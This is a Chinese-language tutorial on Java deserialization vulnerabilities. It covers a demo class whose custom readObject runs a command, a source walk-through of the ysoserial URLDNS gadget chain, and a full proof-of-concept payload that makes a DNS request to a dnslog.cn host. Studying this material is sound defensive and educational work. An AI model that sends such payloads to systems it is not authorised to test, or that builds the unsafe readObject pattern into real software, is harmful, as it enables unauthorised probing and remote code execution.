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Java反序列化

我们都知道一个对象只要实现了Serilizable接口，这个对象就可以被序列化，java的这种序列化模式为开发者提供了很多便利，我们可以不必关系具体序列化的过程，只要这个类实现了Serilizable接口，这个类的所有属性和方法都会自动序列化。

Java 序列化是指把 Java 对象转换为字节序列的过程

• ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程

• ObjectInputStream 类的 readObject() 方法用于反序列化。

实现java.io.Serializable接口才可被反序列化，而且所有属性必须是可序列化的
(用transient 关键字修饰的属性除外，不参与序列化过程)

User.java(需要序列化的类)

package Serialization;

import java.io.Serializable;

public class User implements Serializable{
    private String name;
    public void setName(String name){
        this.name=name;
    }

    public String getName() {
        return name;
    }
}

Main.java(序列化和反序列化)

package Serialization;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        User user=new User();
        user.setName("LearnJava");

        byte[] serializeData=serialize(user);
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        fout.close();
        User user2=(User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

查看user.bin文件，

00000000: aced 0005 7372 0012 5365 7269 616c 697a  ....sr..Serializ
00000010: 6174 696f 6e2e 5573 6572 ade4 cb02 ab94  ation.User......
00000020: b2b9 0200 014c 0004 6e61 6d65 7400 124c  .....L..namet..L
00000030: 6a61 7661 2f6c 616e 672f 5374 7269 6e67  java/lang/String
00000040: 3b78 7074 0009 4c65 6172 6e4a 6176 61    ;xpt..LearnJava

根据序列化规范，aced代表java序列化数据的magic wordSTREAM_MAGIC,0005表示版本号STREAM_VERSION,73表示是一个对象TC_OBJECT,72表示这个对象的描述TC_CLASSDESC

readObject()方法

从JAVA反序列化RCE的三要素（readobject反序列化利用点 + 利用链 + RCE触发点）来说，是通过（readobject反序列化利用点 + DNS查询）来确认readobject反序列化利用点的存在。

实现了java.io.Serializable接口的类还可以定义如下方法(反序列化魔术方法)将会在类序列化和反序列化过程中调用：

• private void writeObject(ObjectOutputStream oos),自定义序列化
• private void readObject(ObjectInputStream ois),自定义反序列化

readObject()方法被重写的的话，反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行：

Evil.java

package EvilSerializtion;

import java.io.*;

public class Evil implements Serializable{
    public String cmd;

    private void readObject(java.io.ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}

Main.java

package EvilSerializtion;

import java.io.ByteArrayOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main {
    public static void main(String[] args) throws Exception {

        Evil evil = new Evil();
        evil.cmd = "open /System/Applications/Calculator.app";

        byte[] serializeData = serialize(evil);
        unserialize(serializeData);
    }

    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

}

URLDNS

URLDNS 是ysoserial中利用链的一个名字，通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点：

• 不限制jdk版本，使用Java内置类，对第三方依赖没有要求
• 目标无回显，可以通过DNS请求来验证是否存在反序列化漏洞
• URLDNS利用链，只能发起DNS请求，并不能进行其他利用

ysoserial中列出的Gadget:

*   Gadget Chain:
*     HashMap.readObject()
*       HashMap.putVal()
*         HashMap.hash()
*           URL.hashCode()

原理：

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

HashMap#readObject:

private void readObject(java.io.ObjectInputStream s) // 读取传入的输入流，对传入的序列化数据进行反序列化
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

关注putVal方法，putVal是往HashMap中放入键值对的方法，这里调用了hash方法来处理key，跟进hash方法：

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里又调用了key.hashcode方法，而key此时是我们传入的 java.net.URL 对象，那么跟进到这个类的hashCode()方法看下

URL#hashCode

public synchronized int hashCode() {  // synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时，会自动释放锁。
      if (hashCode != -1)
          return hashCode;

      hashCode = handler.hashCode(this);
      return hashCode;
  }

当hashCode字段等于-1时会进行handler.hashCode(this)计算，跟进handler发现，定义是

transient URLStreamHandler handler; // transient 关键字，修饰Java序列化对象时，不需要序列化的属性

那么跟进java.net.URLStreamHandler#hashCode()

protected int hashCode(URL u) {
       int h = 0;

       // Generate the protocol part.
       String protocol = u.getProtocol();
       if (protocol != null)
           h += protocol.hashCode();

       // Generate the host part.
       InetAddress addr = getHostAddress(u);
       if (addr != null) {
           h += addr.hashCode();
       } else {
           String host = u.getHost();
           if (host != null)
               h += host.toLowerCase().hashCode();
       }

       // Generate the file part.
       String file = u.getFile();
       if (file != null)
           h += file.hashCode();

       // Generate the port part.
       if (u.getPort() == -1)
           h += getDefaultPort();
       else
           h += u.getPort();

       // Generate the ref part.
       String ref = u.getRef();
       if (ref != null)
           h += ref.hashCode();

       return h;
   }

u 是我们传入的url，在调用getHostAddress方法时，会进行dns查询。

这是正面分析的流程。

回到开始的Hashmap#readObject

// Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);

key 是从K key = (K) s.readObject(); 这段代码，也是就是readObject中得到的，说明之前在writeObject会写入key

Hashmap#writeObject

private void writeObject(java.io.ObjectOutputStream s)
    throws IOException {
    int buckets = capacity();
    // Write out the threshold, loadfactor, and any hidden stuff
    s.defaultWriteObject();
    s.writeInt(buckets);
    s.writeInt(size);
    internalWriteEntries(s);
}

最后调用了internalWriteEntries 方法，跟进一下具体实现：

// Called only from writeObject, to ensure compatible ordering.
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
    Node<K,V>[] tab;
    if (size > 0 && (tab = table) != null) {
        for (int i = 0; i < tab.length; ++i) {
            for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                s.writeObject(e.key);
                s.writeObject(e.value);
            }
        }
    }
}

这里的key以及value是从tab中取的，而tab的值即HashMap中table的值。

想要修改table的值，就需要调用HashMap#put方法，而HashMap#put方法中也会对key调用一次hash方法，所以在这里就会产生第一次dns查询：

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

为了避免这一次的dns查询（防止本机与目标机器发送的dns请求混淆），ysoserial 中使用SilentURLStreamHandler 方法，直接返回null，并不会像URLStreamHandler那样去调用一系列方法最终到getByName，因此也就不会触发dns查询了

static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
}

除了这种方法还可以在本地生成payload时，将hashCode设置不为-1的其他值。

URL#hashCode

public synchronized int hashCode() {
      if (hashCode != -1)
          return hashCode;

      hashCode = handler.hashCode(this);
      return hashCode;
  }

如果不为-1，那么直接返回了。也就不会进行handler.hashCode(this);这一步计算hashcode，也就没有之后的getByName，获取dns查询

/**
 * The URLStreamHandler for this URL.
 */
transient URLStreamHandler handler;

/* Our hash code.
 * @serial
 */
private int hashCode = -1;

而hashCode是通过private关键字进行修饰的（本类中可使用），可以通过反射来修改hashCode的值

package demo;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://7gjq24.dnslog.cn");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 反射获取URL类中的hashCode
        f.setAccessible(true); // 绕过Java语言权限控制检查的权限
        f.set(url,123);
        System.out.println(url.hashCode());
        map.put(url,123); // 调用HashMap对象中的put方法，此时因为hashcode不为-1，不再触发dns查询

    }

}

完整的POC：

package demo;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;


public class Main {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://7gjq24.dnslog.cn");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); // 绕过Java语言权限控制检查的权限
        f.set(url,123); // 设置hashcode的值为-1的其他任何数字
        System.out.println(url.hashCode());
        map.put(url,123); // 调用HashMap对象中的put方法，此时因为hashcode不为-1，不再触发dns查询
        f.set(url,-1); // 将hashcode重新设置为-1，确保在反序列化成功触发

        try {
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);

            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
            inputStream.readObject();
            inputStream.close();
            fileInputStream.close();
        }
        catch (Exception e){
            e.printStackTrace();
        }

    }

}

再来调试下 ysoserial中的 URLDNS 模块，设置debug参数：

URLDNS "http://7mczz6.dnslog.cn"

直接debug报错：

改一下Project 和 Moudles中的 Project language level ，其实就是所有都设置成一样的，包括pom.xml,实在不行，重新 git pull 重新导入idea 也能解决

下断点进行单步调试，最后看这里

方法之间的调用也很清楚的展示了出来。

借用一位师傅总结的 gadgets:

JDK1.8下的调用路线：

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

而在jdk1.7u80环境下调用路线会有一处不同，但是大同小异：

1. HashMap->readObject()
2. HashMap->putForCreate()
3. HashMap->hash()
4. URL->hashCode()
5. 之后相同

参考资料

感谢：

https://wx.zsxq.com/dweb2/index/topic_detail/244415545824541

https://www.t00ls.net/articles-50486.html

https://wx.zsxq.com/dweb2/index/topic_detail/548242484442524

https://xz.aliyun.com/t/6787

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

https://www.liaoxuefeng.com/wiki/1252599548343744/1255945147512512

https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

https://paper.seebug.org/1242/#urldns

https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54

https://www.anquanke.com/post/id/201762

https://medium.com/@m01e/ysoserial-urldns%E6%A8%A1%E5%9D%97%E5%88%86%E6%9E%90-33c80154f56f

https://crossoverjie.top/2018/01/14/Synchronize/